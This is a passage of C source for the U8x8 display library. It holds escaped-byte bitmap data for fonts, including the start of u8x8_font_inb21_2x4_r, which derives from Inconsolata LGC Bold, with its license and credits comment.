"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\70|||\70\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0" "\0\0\0\0\0\0\0\0\0\374\377\377\377\360\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\360\360\360\20\0\0\0\0\340\370\374\376\17\7\3\377\377\377\7" "\7\17\36\4\0\7\37\77\77x\360\374\377\377\343\340\360px \0\0\0\0\0\0\4\17\17\1\0\0" "\0\0\0\0\0\0\0\200\300\340\360pppp\360\340\340\0\0\0\70\70\377\377\377\370\70\70\70\0\0" "\0\0\0\0\300\300\340\377\377\377\357\340\340\340\300\300\300\300\340\300\0\1\0\0\0\0\0\0\0\1\1\1" "\1\1\1\0\0\0\200\0\0\0\0\0\0\0\0\0\200\200\0\0\0\1\373\377\376\216\7\7\7\7\216\377" "\377s\1\0\0\4\16\7\3\3\7\7\7\7\3\7\17\16\4\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\20\60\360\360\340\200\0\0\0\0\0\200\340\360\360\60\0\0\200\203\207\237\277\374\360\370\376\237" "\207\203\200\0\0\0;;;;;\377\377\377;;;;;\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\0\0\0" "\0\0\0\0\0\0\0\0\0\0\374\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\177\177\177\0\0\0" "\0\0\0\0\0\0\0\360\370\370<\34\34\34\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\60p\70\70\70\70x\360\360\300\0\0\0\0\0<~\376\347\347\347\347w\377\377" "\377\0\0\0\0\16\16\16\16\16\16\16\16\16\16\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\340\360x\60\200\300\340\340" "px\60\0\0\3\7\17\37x\360\357\317\300\300\301\307\337\354\360p<\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0pppppppppp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\360\360x\70\70\70\370\360\340\0\0\0\0\0\0\1\7\7\17\16\16\16\17\7" "\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\340\340\340\0\0\0\0\0\0\0\70\70\70\70\70\70\377\377\377\70\70\70" "\70\70\70\0\300\300\300\300\300\300\317\317\317\300\300\300\300\300\300\0\1\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0\0`\360p\70\70\70\70\370\360\340\0\0\0\0\0\0\340\360\370\370\374\356\347\347\343" "\341\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0 pp\270\270\270\270\370\360\340\0\0\0\0\0 px\360\343\343\343\343\347\177" "~\34\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0`\360\374~\34\14\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\376\376" "\376\0\0\0\374\377\377\377\340\300\300\300\340\374\177\377\377\300\300\340\177\177\177\0\0\1\1\1\1\0\0\0" "\1\1\1\1\0\300\360\370\370\370\374\374\374\374\34\34\374\374\374\0\0\3\17\37\37\77\77\377\377\377\0\0" "\377\377\377\0\0\0\0\0\0\0\0\377\377\377\0\0\377\377\377\0\0\0\0\0\0\0\0\7\7\7\0\0" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\340\360\360\360\340\0\0" "\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60p`nnlx" "\70\0\0\0\0\0\0 `p\60\370\370\370\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\340\360x\70\70\70x\360\340\300\0\0\0\0\0\37\77\177\360\340\340\340\360\177\77" "\17\0\0\0\0\16\16\16\16\16\16\16\16\16\16\16\16\16\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\60x\360\340\300\200\60x\360\340" "\300\300\200\0\0 px<\37\17\7\63x<\36\17\7\3\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\30\30\374\374\374\0\0\0\0\0\300\360\374\70\10\0\0\0\17\17\17\0\300\360\374\77\17\3" "\0\0\0\0\0\0\300\360\374\77\17\303\340\360\334\316\377\377\300\300\0\1\1\3\0\0\0\0\0\0\0\0" "\7\7\0\0\30\30\374\374\374\0\0\0\0\200\340\370x\30\0\0\0\0\17\17\17\0\300\370\376\37\7\1" "\0\0\0\0\0\0\300\360\374\77\17\3\14\14\206\306\346~>\34\0\1\3\3\0\0\0\0\6\7\7\6" "\6\6\6\6\14\16nff~\374\230\0\0\200\340\370~\34\0\7\17\14\14\14\16\207\343\370~\37\7" "\1\0\0\0\0\0\200\340\370~\37\307\341\360\370\334\316\377\377\300\0\0\1\3\1\0\0\0\0\0\0\0" "\0\7\7\0\0\0\0\0\0\70|||\70\0\0\0\0\0\0\0\0\300\340\340\360~>\36\0\0\0" "\0\0\0\0\0\37\177\377\373\340\300\300\300\300\340\360\370p \0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\201\341\371\363\303\3\0\0\0\0\0\0\0\200\340\374\377\217\203\217\277\376\370" "\300\0\0\0\340\374\377\37\3\3\3\3\3\3\3\17\77\377\370\340\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\1\203\343\371\361\301\0\0\0\0\0\0\0\0\200\340\374\377\217\203\217\277\376\370" "\300\0\0\0\340\374\377\37\3\3\3\3\3\3\3\17\77\377\370\340\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\4\16\17\7\303\363\343\207\17\16\4\0\0\0\0\0\0\300\370\377\37\7\37\177\374\360" "\200\0\0\0\300\370\377\77\7\7\7\7\7\7\7\37\177\376\360\300\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\1\1\0\300\361\341\203\3\3\1\0\0\0\0\0\0\300\370\377\37\7\37\177\374\360" "\200\0\0\0\300\370\377\77\7\7\7\7\7\7\7\37\177\376\360\300\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\1\3\3\1\340\360\340\1\3\3\1\0\0\0\0\0\0\340\374\177\37\3\37\177\374\340" "\200\0\0\0\340\370\377\77\7\7\7\7\7\7\7\37\377\376\360\300\1\1\1\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\0\3\7\354\374\354\7\3\0\0\0\0\0\0\0\0\340\374\177\17\3\17\177\374\360" "\200\0\0\0\340\374\377\37\7\7\7\7\7\7\7\37\177\376\360\300\1\1\0\0\0\0\0\0\0\0\0\0" "\0\1\1\1\0\0\0\0\0\300\360\360\360\360\360ppppp\0\0\200\360\376\377\17\1\377\377\377p" "pppp\340\374\377\77\17\16\16\16\377\377\377\300\300\300\300\300\1\1\1\0\0\0\0\0\1\1\1\1" "\1\1\1\1\0\0\200\300\340\340\360pppp\340\340\300\200\0\374\377\377\277\3\0\0\0\0\0\0\0" "\3\3\3\1\7\37\77\177\370\360\340\300\300\300\300\340\360p\60\0\0\0\0\0 \60aaoo}\70" "\0\0\0\0\0\360\360\360qqqssswpppp\0\0\377\377\377pppppppp" "pp\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\360\360\360prwsssqqqpp\0\0\377\377\377pppppppp" "pp\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\360\360\366~wssqsw\177vpp\0\0\377\377\377pppppppp" "pp\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\360\360\361ssqppqssqpp\0\0\377\377\377pppppppp" "p\0\0\0\0\377\377\377\300\300\300\300\300\300\300\300\300\300\300\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\1\0\0\0ppqq\361\363\363swppp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0ppps\367\363\363sqqqp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0pvww\363\363\363sw\177vp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0pqss\361\360\360qssqp\0\0\0\0\0\0\0\0\377\377\377\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\300\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0\360\360\360ppppp\340\340\300\200\0\0pp\377\377\377ppp\0\0\0\3" "\377\377\377\374\0\0\377\377\377\300\300\300\300\340\340\370\177\77\37\3\0\0\1\1\1\1\1\1\1\1\0\0" "\0\0\0\0\0\360\360\361\361\301\0\0\1\3\3\3\3\361\360\360\0\377\377\377\3\17\37|\370\340\200\0" "\0\377\377\377\0\377\377\377\0\0\0\0\1\7\17>\374\377\377\377\0\1\1\1\0\0\0\0\0\0\0\0" "\0\1\1\1\0\200\300\340\360p\71\71\71;{\360\360\340\300\200\376\377\377\317\0\0\0\0\0\0\0\0" "\1\377\377\377\3\17\37\77|p\340\340\340\340\360p|\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360q;;\71\71y\360\360\340\300\200\376\377\377\317\0\0\0\0\0\0\0\0" "\1\377\377\377\3\17\37\77|p\340\340\340\340\360p|\77\37\7\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\200\306\356\347ssqs\367\357\356\300\200\0\374\377\377\237\1\0\0\0\0\0\0\1" "\3\377\377\377\7\37\77\177\370\340\300\300\300\300\340\340\370\177\77\17\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\200\301\343\340ppqs\363\343\343\301\200\0\374\377\377\237\1\0\0\0\0\0\0\1" "\3\377\377\377\7\37\77\177\370\340\300\300\300\300\340\340\370\177\77\17\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\200\301\343\343qppq\363\343\341\300\200\0\374\377\377\237\1\0\0\0\0\0\0\1" "\3\377\377\377\7\37\77\177\370\340\300\300\300\300\340\340\370\177\77\17\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\0\200\200\0\0\0\0\0\0\0\200\200\0\0\0\0\3\207\307\357\376\374\370\374\376\317" "\207\3\1\0\0\0\3\7\7\3\1\0\0\1\3\7\17\7\2\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\300\340\360p\70\70\70\70\370\360\360\374\374\34\376\377\377\337\1\0\300\340\370>\17\7" "\1\377\377\377\3\317\377\377|\177\377\343\340\340\360x|\77\37\17\1\1\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\360\360\360\21\1\1\3\3\3\7\0\0\360\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0\0\360\360\360\20\0\7\3\3\3\1\1\1\360\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0\0\360\360\362\26\7\3\3\1\3\7\17\6\362\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0\0\360\360\361\23\3\1\0\0\0\1\3\3\361\360\360\0\377\377\377\0\0\0\0\0\0\0\0" "\0\377\377\377\0\37\177\377\374\340\300\300\300\300\300\340\374\177\177\37\0\0\0\0\0\1\1\1\1\1\1\1" "\0\0\0\0p\360\360\340\200\7\3\3\3\1\1\301\360\360p\20\0\1\3\17\77\376\370\340\360\374\177\37" "\7\1\0\0\0\0\0\0\0\0\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\360\360\360\20\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\7\7\7\7\7\7\7\17" "\376\374\370\0\0\377\377\377\16\16\16\16\16\16\16\17\7\7\1\0\0\1\1\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\360\370<\34\34\34\34\70\370\360\340\0\0\0\377\377\377\1\0\0\70\70\70<\177" "\377\347\300\200\0\377\377\377\0\200\300\340\300\300\300\340\360\377\177\77\0\1\1\1\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0\0\0\14>~\370\360@\0\0\0\0\0\0\0\30\34\34\216\216\216\216\216\236" "\374\374\370\0\0<\376\377\377\307\303\303\303\303\343\363\377\377\377\0\0\0\0\0\1\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0@`\370~>\14\0\0\0\0\0\0\0\30\34\34\216\216\216\216\216\236" "\374\374\370\0\0<\376\377\377\307\303\303\303\303\343\363\377\377\377\0\0\0\0\0\1\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0@\340\370|\36>|\360\340@\0\0\0\0\0\30\34\34\216\216\216\216\216\236" "\374\374\370\0\0<\376\377\377\307\303\303\303\303\343\363\377\377\377\0\0\0\0\0\1\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\30<\36\16\16\36\34\10\0\0\0\0\300\360\370\374\234\236\216\216\216\216\236" "\374\370\360\340\0\17\77\177\377\343\343\303\303\303\303\303\343\363c\3\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\0@\340\370<\36>|\360\340@\0\0\0\300\360\370\374\234\236\216\216\216\216\237" "\374\370\360\340\0\17\77\177\377\343\343\303\303\303\303\303\343\363c\3\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\300\360\370\374\234\216\216\216\216\216\236" "\374\370\360\340\0\17\77\177\373\343\343\303\303\303\303\303\343\363c\3\0\0\0\0\0\0\1\1\1\1\1\1" "\0\0\0\0\0\0\0\4\14>~\370p\0\0\0\0\0\0\0\0\0\16\16\16\16\376\376\376\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0\0\0\0`\370~>\14\4\0\0\0\0\0\0\16\16\16\16\376\376\376\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0@\360x<\36|\370\340@\0\0\0\0\0\0\16\16\16\16\376\376\376\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\0\0\16\16\16\16\376\376\376\0\0\0" "\0\0\0\0\0\0\300\300\300\300\377\377\377\300\300\300\300\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1" "\1\0\0\0\0\0\0H\354\354\374|x\360\360\360\270\70\0\0\300\360\370\374<\36\16\16\16\16\37\77" "\377\377\370\0\17\77\177\376\360\340\300\300\300\300\340\360\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\60\70<\34\34\34\0\0\0\0\0\300\360\370\374<\36\16\16\16\16\36|" "\370\370\340\0\17\77\177\376\360\340\300\300\300\300\340\360\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0@\340\370|\36>|\360\340@\0\0\0\300\360\370\374<\36\16\16\16\16\36|" "\370\370\340\0\17\77\177\376\360\340\300\300\300\300\340\360\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\30<\36\16\16\36\77" "\377\373\340\0\17\77\377\375\360\374\337\317\303\300\340\370\177\177\37\0\0\3\3\7\1\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\4\36>~\370`\0\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\340\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0`p\374>\36\14\0\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\340\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0@`\360|>\36|\370\360@\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\300\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\30<<\30\0\0\30<<\30\0\0\0\0\376\376\376\0\0\0\0\0\0\0\0" "\376\376\376\0\0\37\177\377\374\340\300\300\300\340\340|\377\377\377\0\0\0\0\0\0\1\1\1\1\1\0\0" "\1\1\1\0\0\0\0\0\0\0p\370~>\14\4\0\0\0\0\6\36~\376\360\300\0\0\0\0\300\370" "\376~\16\0\0\0\0\3\17\77\376\370\360\376\77\17\1\0\0\0\70xppp|\77\37\7\1\0\0" "\0\0\0\0\0\374\374\374\14\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377x\34\14\16\16\16\36>" "\374\370\360\300\0\377\377\377|\340\300\300\300\300\340\340\375\177\77\17\0\177\177\177\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\30<<\30\0\0\0\30<<\30\0\0\0\6\36~\376\360\200\0\0\0\0\300\370" "\376>\16\0\0\0\0\3\17\77\376\370\360\376\77\7\1\0\0\0\70xpppx\77\37\7\1\0\0" "\0\0\0"; /* Fontname: -FreeType-Inconsolata LGC-Bold-R-Normal--30-300-72-72-P-147-ISO10646-1 Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL. Emboldened by MihailJP. Some glyphs modified by Greg Omelaenko, using FontForge. Glyphs: 95/658 BBX Build Mode: 3 */ const uint8_t u8x8_font_inb21_2x4_r[6084] U8X8_FONT_SECTION("u8x8_font_inb21_2x4_r") = " ~\2\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0x\374\374\374\370\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\1\0\0" "\0\0\0\0\0\0\0\0\0\340\363\363\363\340\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\370\374\374\0\0\0\370\374\374\0\0\0\0\0\0\0\7\7\7\0\0\0\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\340\360\360\20\0\0\360\360\360\20\0\0\16\16\16\356\377\377\17\6\6\366\377\377" "\37\16\16\16\7\7\347\377\377\37\7\7\367\377\377\17\7\7\7\0\0\0\1\1\1\0\0\0\1\1\1\0" "\0\0\0\0\0\0\200\300\340\360p\374\374\374tp\340\340\300@\0\0\7\37\37>\70\377\377\377\360\340" "\340\301\301\200\0\0\70|p\340\340\377\377\377\340\340q\177\77\37\0\0\0\0\0\0\0\3\3\3\0\0" "\0\0\0\0\300\340\360\360p\360\340\340\300\0\0\300\360\360p\20\7\17\17\36\34\37\337\357\377\376\77\17" "\7\1\0\0\0\200\340\360\374\77\37\7}\376\377\307\307\377\376\376\0\1\1\1\0\0\0\0\0\0\1\1" "\1\1\0\0\0\0\200\340\340\360pp\360\360\340\300\0\0\0\0\0\0\207\337\377\377\360\360\370\277\37\17" "\0\200\200\0>\177\377\367\341\300\300\301\343\357\377~|\377\357\307\0\0\0\1\1\1\1\1\1\0\0\0" "\0\1\1\0\0\0\0\0\0\0\0\370\374\374\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\340\360\360x<\34\20\0\0\0\0\0\360\376\377\177\7\1\0\0" "\0\0\0\0\0\0\0\0\17\177\377\377\340\200\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\36<" "\70x\20\0\0\0<\70x\360\340\340\300\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\377\376\370" "\0\0\0\0\0\0\0\0\0\0\0\300\360\377\377\77\0\0\0\0\0\20p\70<\36\37\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\200\0\0\0\0\0\0\20<\70\70\60\360\343\377\377\347\360\60" "\70\70<\0\0\0\10\36\37\17\3\1\1\3\17\37\36\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\200\200\0\0\0\0\0\0\0\340\340\340\340\340\340\377\377\377\340\340\340" "\340\340\340\0\0\0\0\0\0\0\77\77\77\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\61;\37\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0ppppppppppp" "pp\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\300\340\340\340\300\0\0\0\0\0\0\0\0\0\0\0\1\3\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\360\60\0\0\0\0\0\0\0\200\340\370\376\77\17" "\3\0\0\0\0\0\200\340\370\376\77\17\3\0\0\0\0\0\0\0\0\2\7\7\3\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\300\340\360ppp\360\340\300\200\0\0\0\370\377\377\77\3\0\300\340x<\17" "\377\377\377\370\0\7\37\77\177\376\347\303\300\300\340\360\377\177\37\7\0\0\0\0\0\0\1\1\1\1\1\0" "\0\0\0\0\0\0\200\300\300\340\340\360\360\360\0\0\0\0\0\0\0\0\0\1\0\0\0\377\377\377\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\1\1\1\0\0" "\0\0\0\0\0\200\300\340\340pppp\360\340\340\300\200\0\0\0\0\1\3\0\0\0\200\300\340\361\377" "\177\37\0\0\0\300\340\370\374\336\317\307\303\301\301\300\300\300\0\0\0\1\1\1\1\1\1\1\1\1\1\1" "\1\1\0\0\0\0@\340\340\360pppp\360\340\340\300\0\0\0\0\0\0\0ppppx\370\377" "\337\217\0\0\0\0`\360\360\340\300\300\300\300\340\373\377\177\37\0\0\0\0\0\0\1\1\1\1\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\200\340\360\360\360\0\0\0\0\0\200\300\360\370<\17\7\1\377\377" 